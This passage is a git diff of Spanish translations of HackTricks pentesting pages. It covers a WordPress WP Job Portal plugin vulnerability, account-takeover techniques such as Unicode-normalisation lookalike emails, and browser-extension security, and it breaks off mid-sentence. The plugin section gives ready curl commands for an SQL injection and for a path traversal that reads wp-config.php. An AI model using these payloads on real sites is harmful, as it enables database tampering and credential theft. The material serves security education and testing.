cadenas dentro de la cláusula WHERE** – sin `is_numeric()` / `esc_sql()` / declaración preparada. +3. **Accesibilidad no autenticada** – aunque la acción se ejecuta a través de `admin-post.php`, la única verificación en su lugar es un **nonce CSRF** (`wp_verify_nonce()`), que cualquier visitante puede recuperar de una página pública que incruste el shortcode `[wpjobportal_my_resumes]`. + +#### Explotación + +1. Obtén un nonce fresco: +```bash +curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 +``` +2. Inyecta SQL arbitrario abusando de `parentid`: +```bash +curl -X POST https://victim.com/wp-admin/admin-post.php \ +-d 'task=savecategory' \ +-d '_wpnonce=' \ +-d 'parentid=0 OR 1=1-- -' \ +-d 'cat_title=pwn' -d 'id=' +``` +La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando SQLi. + + +### Descarga de Archivos Arbitrarios No Autenticada / Traversal de Ruta (WP Job Portal <= 2.3.2) + +Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en disco** a través de traversal de ruta. El sumidero vulnerable se encuentra en `modules/customfield/model.php::downloadCustomUploadedFile()`: +```php +$file = $path . '/' . $file_name; +... +echo $wp_filesystem->get_contents($file); // raw file output +``` +`$file_name` es controlado por el atacante y se concatena **sin sanitización**. Nuevamente, la única barrera es un **nonce CSRF** que se puede obtener de la página de currículum. + +#### Explotación +```bash +curl -G https://victim.com/wp-admin/admin-post.php \ +--data-urlencode 'task=downloadcustomfile' \ +--data-urlencode '_wpnonce=' \ +--data-urlencode 'upload_for=resume' \ +--data-urlencode 'entity_id=1' \ +--data-urlencode 'file_name=../../../wp-config.php' +``` +El servidor responde con el contenido de `wp-config.php`, filtrando las credenciales de la base de datos y las claves de autenticación. + +## Referencias + +- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) +- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) +- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/) +- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md index 649551c2e..3c9d020a1 100644 --- a/src/pentesting-web/account-takeover.md +++ b/src/pentesting-web/account-takeover.md @@ -4,20 +4,20 @@ ## **Problema de Autorización** -Se debe intentar cambiar el correo electrónico de una cuenta, y el proceso de confirmación **debe ser examinado**. Si se encuentra **débil**, el correo electrónico debe ser cambiado al del víctima previsto y luego confirmado. +Se debe intentar cambiar el correo electrónico de una cuenta, y el proceso de confirmación **debe ser examinado**. Si se encuentra **débil**, el correo electrónico debe ser cambiado al del objetivo y luego confirmado. ## **Problema de Normalización de Unicode** -1. La cuenta del víctima previsto `victim@gmail.com` +1. La cuenta del objetivo `victim@gmail.com` 2. Se debe crear una cuenta usando Unicode\ por ejemplo: `vićtim@gmail.com` Como se explicó en [**esta charla**](https://www.youtube.com/watch?v=CiIyaZ3x49c), el ataque anterior también podría realizarse abusando de proveedores de identidad de terceros: -- Crear una cuenta en el proveedor de identidad de terceros con un correo electrónico similar al del víctima usando algún carácter unicode (`vićtim@company.com`). +- Crear una cuenta en el proveedor de identidad de terceros con un correo electrónico similar al del objetivo usando algún carácter unicode (`vićtim@company.com`). - El proveedor de terceros no debería verificar el correo electrónico. -- Si el proveedor de identidad verifica el correo electrónico, tal vez puedas atacar la parte del dominio como: `victim@ćompany.com` y registrar ese dominio y esperar que el proveedor de identidad genere la versión ascii del dominio mientras la plataforma del víctima normaliza el nombre de dominio. -- Iniciar sesión a través de este proveedor de identidad en la plataforma del víctima que debería normalizar el carácter unicode y permitirte acceder a la cuenta del víctima. +- Si el proveedor de identidad verifica el correo electrónico, tal vez puedas atacar la parte del dominio como: `victim@ćompany.com` y registrar ese dominio y esperar que el proveedor de identidad genere la versión ascii del dominio mientras la plataforma del objetivo normaliza el nombre de dominio. +- Iniciar sesión a través de este proveedor de identidad en la plataforma del objetivo que debería normalizar el carácter unicode y permitirte acceder a la cuenta del objetivo. Para más detalles, consulta el documento sobre Normalización de Unicode: @@ -31,9 +31,9 @@ Si el sistema objetivo permite que el **enlace de restablecimiento sea reutiliza ## **Pre Toma de Control de Cuenta** -1. El correo electrónico del víctima debe ser utilizado para registrarse en la plataforma, y se debe establecer una contraseña (se debe intentar confirmarla, aunque carecer de acceso a los correos del víctima podría hacer esto imposible). -2. Se debe esperar hasta que el víctima se registre usando OAuth y confirme la cuenta. -3. Se espera que el registro regular sea confirmado, permitiendo el acceso a la cuenta del víctima. +1. Se debe usar el correo electrónico de la víctima para registrarse en la plataforma, y se debe establecer una contraseña (se debe intentar confirmarla, aunque la falta de acceso a los correos de la víctima podría hacer esto imposible). +2. Se debe esperar hasta que la víctima se registre usando OAuth y confirme la cuenta. +3. Se espera que el registro regular sea confirmado, permitiendo el acceso a la cuenta de la víctima. ## **Configuración Incorrecta de CORS para Toma de Control de Cuenta** @@ -59,9 +59,9 @@ Si encuentras un XSS en la aplicación, podrías ser capaz de robar cookies, alm xss-cross-site-scripting/ {{#endref}} -## **Same Origin + Cookies** +## **Misma Origen + Cookies** -Si encuentras un XSS limitado o una toma de control de subdominio, podrías jugar con las cookies (fijándolas, por ejemplo) para intentar comprometer la cuenta del víctima: +Si encuentras un XSS limitado o una toma de control de subdominio, podrías jugar con las cookies (fijándolas, por ejemplo) para intentar comprometer la cuenta de la víctima: {{#ref}} hacking-with-cookies/ @@ -75,7 +75,7 @@ reset-password.md ## **Manipulación de Respuesta** -Si la respuesta de autenticación podría ser **reducida a un simple booleano, solo intenta cambiar falso a verdadero** y ver si obtienes algún acceso. +Si la respuesta de autenticación podría ser **reducida a un simple booleano, solo intenta cambiar falso a verdadero** y ver si obtienes acceso. ## OAuth para Toma de Control de Cuenta @@ -105,13 +105,13 @@ De [este informe](https://dynnyd20.medium.com/one-click-account-take-over-e50092 - El atacante solicita cambiar su correo electrónico por uno nuevo. - El atacante recibe un enlace para confirmar el cambio de correo electrónico. -- El atacante envía el enlace al víctima para que lo haga clic. -- El correo electrónico del víctima se cambia al indicado por el atacante. +- El atacante envía el enlace a la víctima para que lo haga clic. +- El correo electrónico de la víctima se cambia al indicado por el atacante. - El atacante puede recuperar la contraseña y tomar el control de la cuenta. Esto también ocurrió en [**este informe**](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea). -### Bypass de verificación de correo electrónico para Toma de Control de Cuenta +### Omitir verificación de correo electrónico para Toma de Control de Cuenta - El atacante inicia sesión con attacker@test.com y verifica el correo electrónico al registrarse. - El atacante cambia el correo electrónico verificado a victim@test.com (sin verificación secundaria en el cambio de correo electrónico). - Ahora el sitio web permite que victim@test.com inicie sesión y hemos eludido la verificación de correo electrónico del usuario víctima. diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 2ed90e062..483435607 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -4,17 +4,17 @@ ## Información Básica -Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su propio [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios. +Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios. ## Componentes Principales -Los diseños de extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en profundidad. +Los diseños de las extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en profundidad.

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

### **Scripts de Contenido** -Cada script de contenido tiene acceso directo al DOM de una **única página web** y está expuesto a **posibles entradas maliciosas**. Sin embargo, el script de contenido no contiene permisos más allá de la capacidad de enviar mensajes al núcleo de la extensión. +Cada script de contenido tiene acceso directo al DOM de una **única página web** y, por lo tanto, está expuesto a **entrada potencialmente maliciosa**. Sin embargo, el script de contenido no contiene permisos más allá de la capacidad de enviar mensajes al núcleo de la extensión. ### **Núcleo de la Extensión** @@ -22,12 +22,12 @@ El núcleo de la extensión contiene la mayoría de los privilegios/accesos de l ### **Binario Nativo** -La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador. +La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones estándar de Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador. ### Límites > [!CAUTION] -> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entradas maliciosas desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo. +> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo. Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo. @@ -35,7 +35,7 @@ Además, los scripts de contenido están separados de sus páginas web asociadas ## **`manifest.json`** -Una extensión de Chrome es solo una carpeta ZIP con una [.crx file extension](https://www.lifewire.com/crx-file-2620391). El núcleo de la extensión es el **`manifest.json`** archivo en la raíz de la carpeta, que especifica el diseño, permisos y otras opciones de configuración. +Una extensión de Chrome es solo una carpeta ZIP con una [.crx file extension](https://www.lifewire.com/crx-file-2620391). El núcleo de la extensión es el archivo **`manifest.json`** en la raíz de la carpeta, que especifica el diseño, permisos y otras opciones de configuración. Ejemplo: ```json @@ -61,7 +61,7 @@ Ejemplo: ``` ### `content_scripts` -Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página. +Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página. ```json "content_scripts": [ { @@ -78,7 +78,7 @@ Los scripts de contenido se **cargan** cada vez que el usuario **navega a una p ``` Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**. -Este es un ejemplo de script de contenido que añadirá un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor de `message` del almacenamiento de la extensión. +Este es un ejemplo de script de contenido que añadirá un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor `message` del almacenamiento de la extensión. ```js chrome.storage.local.get("message", (result) => { let div = document.createElement("div") @@ -91,7 +91,7 @@ document.body.appendChild(div) ```
-Un mensaje se envía a las páginas de la extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de la extensión con las que los scripts de contenido pueden comunicarse. +Un mensaje es enviado a las páginas de la extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de la extensión con las que los scripts de contenido pueden comunicarse. > [!WARNING] > Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como la fuente principal.\ @@ -104,9 +104,9 @@ Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en ### Scripts de contenido inyectados > [!TIP] -> Tenga en cuenta que **los Scripts de Contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto en realidad proporciona más **controles granulares**. +> Tenga en cuenta que **los Scripts de Contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto proporciona en realidad más **controles granulares**. -Para la inyección programática de un script de contenido, se requiere que la extensión tenga [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden asegurarse ya sea **solicitándolos** dentro del manifiesto de la extensión o de manera temporal a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). +Para la inyección programática de un script de contenido, se requiere que la extensión tenga [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden ser asegurados ya sea **solicitándolos** dentro del manifiesto de la extensión o de manera temporal a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). #### Ejemplo de extensión basada en activeTab ```json:manifest.json @@ -243,10 +243,10 @@ Las extensiones de navegador pueden contener varios tipos de páginas:
-Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según la necesidad. A pesar de esto, comparten ciertas capacidades con la página de fondo: +Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según sea necesario. A pesar de esto, comparten ciertas capacidades con la página de fondo: - **Comunicación con Scripts de Contenido:** Similar a la página de fondo, estas páginas pueden recibir mensajes de scripts de contenido, facilitando la interacción dentro de la extensión. -- **Acceso a APIs Específicas de la Extensión:** Estas páginas disfrutan de acceso completo a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión. +- **Acceso a APIs Específicas de la Extensión:** Estas páginas disfrutan de un acceso completo a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión. ### `permissions` & `host_permissions` @@ -317,7 +317,7 @@ browext-clickjacking.md > Permitir que estas páginas se carguen solo por la extensión y no por URLs aleatorias podría prevenir ataques de ClickJacking. > [!CAUTION] -> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts de fondo**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor. +> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts en segundo plano**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor. > > Además, tenga en cuenta que solo puede abrir páginas indicadas en **`web_accessible_resources`** dentro de iframes, pero desde una nueva pestaña es posible acceder a cualquier página en la extensión conociendo el ID de la extensión. Por lo tanto, si se encuentra un XSS abusando de los mismos parámetros, podría ser explotado incluso si la página no está configurada en **`web_accessible_resources`**. @@ -325,7 +325,7 @@ browext-clickjacking.md Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a su extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage). -- Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**. +- Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o se declara como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**. - Si se **especifican IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse. - Si se **especifican coincidencias**, esas aplicaciones web podrán conectarse: ```json @@ -338,11 +338,11 @@ Según la [**documentación**](https://developer.chrome.com/docs/extensions/refe Cuantas **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**. > [!CAUTION] -> Si se indica una página web **vulnerable a XSS o toma de control** en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP. +> Si una página web **vulnerable a XSS o takeover** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP. > > Por lo tanto, este es un **bypass muy poderoso**. > -> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este informe**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este artículo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). ## Resumen de comunicación @@ -352,7 +352,7 @@ Para comunicarse entre el script de contenido y la página web, generalmente se ### Dentro de la extensión -Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibir y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**. +Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibirlo y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**. También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, es posible usarlo para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo: @@ -401,7 +401,7 @@ Donde es necesario mencionar el **ID de la extensión**. ### Mensajería Nativa -Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, lo que podría ser **propenso a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](./#native-messaging). +Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](#native-messaging). ```javascript chrome.runtime.sendNativeMessage( "com.my_company.my_application", @@ -413,7 +413,7 @@ console.log("Received " + response) ``` ## Web **↔︎** Comunicación de Scripts de Contenido -Los entornos donde operan los **scripts de contenido** y donde existen las páginas anfitrionas están **separados** entre sí, asegurando **aislamiento**. A pesar de este aislamiento, ambos tienen la capacidad de interactuar con el **Modelo de Objetos del Documento (DOM)** de la página, un recurso compartido. Para que la página anfitriona participe en la comunicación con el **script de contenido**, o indirectamente con la extensión a través del script de contenido, se requiere utilizar el **DOM** que es accesible por ambas partes como el canal de comunicación. +Los entornos donde operan los **scripts de contenido** y donde existen las páginas anfitrionas están **separados** entre sí, asegurando **aislamiento**. A pesar de este aislamiento, ambos tienen la capacidad de interactuar con el **Modelo de Objetos del Documento (DOM)** de la página, un recurso compartido. Para que la página anfitriona participe en la comunicación con el **script de contenido**, o indirectamente con la extensión a través del script de contenido, se requiere utilizar el **DOM** que es accesible por ambas partes como canal de comunicación. ### Mensajes Post ```javascript:content-script.js @@ -452,13 +452,13 @@ false ``` Una comunicación segura de Post Message debe verificar la autenticidad del mensaje recibido, esto se puede hacer verificando: -- **`event.isTrusted`**: Esto es Verdadero solo si el evento fue desencadenado por una acción del usuario. +- **`event.isTrusted`**: Esto es True solo si el evento fue desencadenado por una acción del usuario. - El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción. - **dominio de origen**: podría esperar un mensaje solo de una lista permitida de dominios. - Si se utiliza una expresión regular, ten mucho cuidado. -- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **desde la misma ventana** donde el Script de Contenido está escuchando. +- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **del mismo ventana** donde el Script de Contenido está escuchando. -Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles bypasses de Post Message**: +Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **potenciales bypasses de Post Message**: {{#ref}} ../postmessage-vulnerabilities/ @@ -486,7 +486,7 @@ browext-xss-example.md Un Script de Contenido puede usar las funciones [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **o** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) para enviar un mensaje **serializable en JSON de una sola vez**. -Para manejar la **respuesta**, usa la **Promesa** devuelta. Aunque, por compatibilidad hacia atrás, aún puedes pasar un **callback** como el último argumento. +Para manejar la **respuesta**, usa la **Promise** devuelta. Aunque, por compatibilidad hacia atrás, aún puedes pasar un **callback** como el último argumento. Enviar una solicitud desde un **script de contenido** se ve así: ```javascript @@ -523,11 +523,11 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) ``` En el ejemplo destacado, **`sendResponse()`** se ejecutó de manera sincrónica. Para modificar el controlador de eventos `onMessage` para la ejecución asincrónica de `sendResponse()`, es imperativo incorporar `return true;`. -Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única capaz de entregar la respuesta de manera efectiva. Cualquier respuesta subsiguiente al mismo evento no será tenida en cuenta. +Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única que podrá entregar la respuesta de manera efectiva. Cualquier respuesta subsiguiente al mismo evento no será tenida en cuenta. Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de callbacks. Con respecto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto sincrónico, o si el controlador de eventos indica una operación asincrónica al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` se elimina de la memoria (recolectada por el garbage collector), el callback asociado con la función `sendMessage()` se activará por defecto. -## Native Messaging +## Mensajería Nativa Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que lo indique en un json como: ```json @@ -539,7 +539,7 @@ Las extensiones del navegador también permiten comunicarse con **binarios en el "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` -Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. El `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín). +Donde el `name` es la cadena pasada a [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) o [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para comunicarse con la aplicación desde los scripts de fondo de la extensión del navegador. La `path` es la ruta al binario, solo hay 1 `type` válido que es stdio (usar stdin y stdout) y los `allowed_origins` indican las extensiones que pueden acceder a él (y no pueden tener comodín). Chrome/Chromium buscará este json en algunos registros de Windows y algunas rutas en macOS y Linux (más información en los [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). @@ -567,9 +567,9 @@ Y dentro de esto se explica un ejemplo de **cómo ir de cualquier página a RCE ## Información Sensible en Memoria/Código/Portapapeles -Si una extensión del navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas con Windows) y **buscada** para esta información. +Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esto podría ser **volcado** (especialmente en máquinas Windows) y **buscado** para esta información. -Por lo tanto, la memoria de la extensión del navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe almacenarse**. +Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe ser almacenada**. Por supuesto, no **coloque información sensible en el código**, ya que será **pública**. @@ -579,13 +579,13 @@ Además, información altamente sensible como claves mnemotécnicas o contraseñ ## Cargando una Extensión en el Navegador -1. **Descargue** la extensión del navegador y descomprímala. +1. **Descargue** la Extensión del Navegador y descomprímala. 2. Vaya a **`chrome://extensions/`** y **active** el `Modo de Desarrollador`. 3. Haga clic en el botón **`Cargar descomprimido`**. En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**. -## Obteniendo el código fuente de la tienda +## Obtener el código fuente de la tienda El código fuente de una extensión de Chrome se puede obtener a través de varios métodos. A continuación se detallan explicaciones e instrucciones para cada opción. @@ -640,7 +640,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt Aunque las extensiones de navegador tienen una **superficie de ataque limitada**, algunas de ellas pueden contener **vulnerabilidades** o **mejoras de endurecimiento potenciales**. Las siguientes son las más comunes: -- [ ] **Limitar** tanto como sea posible los **`permisos`** solicitados +- [ ] **Limitar** tanto como sea posible los **`permissions`** solicitados - [ ] **Limitar** tanto como sea posible los **`host_permissions`** - [ ] Usar una **política de seguridad de contenido** **`content_security_policy`** **fuerte** - [ ] **Limitar** tanto como sea posible el **`externally_connectable`**, si no se necesita y es posible, no dejarlo por defecto, especificar **`{}`** @@ -648,7 +648,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada** - [ ] **Limitar** tanto como sea posible los **`web_accessible_resources`**, incluso vacíos si es posible. - [ ] Si **`web_accessible_resources`** no es ninguno, verificar [**ClickJacking**](browext-clickjacking.md) - [ ] Si ocurre alguna **comunicación** de la **extensión** a la **página web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas en la comunicación. -- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.** +- [ ] Si se utilizan Post Messages, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/index.html)**.** - [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web - [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo** - [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada @@ -656,7 +656,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada** - [ ] **La información sensible no debe ser almacenada** dentro de la memoria de la extensión del navegador - [ ] **La información sensible no debe ser almacenada** dentro del **sistema de archivos sin protección** -## Riesgos de Extensiones de Navegador +## Riesgos de la Extensión del Navegador - La aplicación [https://crxaminer.tech/](https://crxaminer.tech/) analiza algunos datos como los permisos que solicita la extensión del navegador para dar un nivel de riesgo de uso de la extensión del navegador. @@ -665,13 +665,13 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada** ### [**Tarnish**](https://thehackerblog.com/tarnish/) - Extrae cualquier extensión de Chrome de un enlace proporcionado de la tienda web de Chrome. -- Visor de **[**manifest.json**](https://developer.chrome.com/extensions/manifest)**: simplemente muestra una versión JSON formateada del manifiesto de la extensión. +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visor**: simplemente muestra una versión JSON formateada del manifiesto de la extensión. - **Análisis de Huellas Dactilares**: Detección de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) y generación automática de JavaScript de huellas dactilares de extensiones de Chrome. -- **Análisis de Clickjacking Potencial**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas. -- Visor de **Advertencias de Permisos**: que muestra una 